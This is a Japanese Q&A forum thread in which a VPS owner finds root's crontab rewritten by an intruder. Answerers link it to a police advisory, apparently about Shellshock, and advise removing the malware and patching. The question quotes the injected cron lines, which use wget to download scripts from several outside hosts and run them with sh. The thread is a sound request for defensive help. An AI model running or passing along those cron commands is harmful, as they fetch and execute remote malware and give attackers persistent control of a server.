VPSですがcrontabが書き換えられた？？

質問

畏れ入ります。
DTIのServersmanというVPSを借りているのですが、
本日rootのcronがすべて書き換えられていることに気が付きました。
サポートに問い合わせると、何者かによって書き換えられたのでは？とのことで、
DTIのメンテではないということでした。
sshのポート変更やアクセス元のIP制限など設定したのですが、
2時過ぎにまた書き換わったようで、実行したらしきファイル残骸が/tmpに残っていました。
ログイン履歴を見ても私しかおらず、一体何が起きているのか・・・と困っています。

いま、とりあえず、
ls -l /tmp
crontab -l
who
の3コマンドを60秒毎にロギングするスクリプトを仕掛けてみました。

どんな対策をすべきか教えていただけると助かります。
ちなみに書き換えられていたcronは以下のようなものです。
ーーー
@daily wget http://xfsdfadsdgfs.tba.pw/update -O
/tmp/update;sh /tmp/update;rm -rf /tmp/update
@daily wget http://xfsdfadsdgfs.tba.pw/update -O
/tmp/update;sh /tmp/update;rm -rf /tmp/update
@daily wget http://update2.x24hr.com/update2 -O
/tmp/update2;sh /tmp/update2;rm -rf /tmp/update2
@daily wget http://update.mrbonus.com/update3 -O
/tmp/update3;sh /tmp/update3;rm -rf /tmp/update3
@daily wget http://xfsdfadsdgfs.tba.pw/update -O
/tmp/update;sh /tmp/update;rm -rf /tmp/update
@daily wget http://update2.x24hr.com/update2 -O
/tmp/update2;sh /tmp/update2;rm -rf /tmp/update2
@daily wget http://update.mrbonus.com/update3 -O
/tmp/update3;sh /tmp/update3;rm -rf /tmp/update3
@daily wget http://xfsdfadsdgfs.tba.pw/update -O
/tmp/update;sh /tmp/update;rm -rf /tmp/update
@daily wget http://update2.x24hr.com/update2 -O
/tmp/update2;sh /tmp/update2;rm -rf /tmp/update2
@daily wget http://update.mrbonus.com/update3 -O
/tmp/update3;sh /tmp/update3;rm -rf /tmp/update3

回答No.2

drum_KT · ベストアンサー

追加です。書き込まれている内容が、昨日警察庁から発表された下記の攻撃事例に酷似しているようです。

http://www.npa.go.jp/cyberpolice/detect/pdf/20141007.pdf

マルウェアに感染して動作していることが考えられるので、至急検知駆除作業を行うことと、運用しているOS含む全てのソフトウェアの脆弱性対策（パッチ適用）をお勧めします。

個人情報等を扱っているサイトを運用している場合は、まず至急で運用を停止することを検討してください。

お礼

ありがとうございます。まさにこのとおりでした。Webサーバー経由で、Getメソッドでbashを起動させられていました。。。

回答No.1

drum_KT

例えば下記のような手段で、既にバックドアが仕掛けられて動作しているのでは？

http://blog.trendmicro.co.jp/archives/9959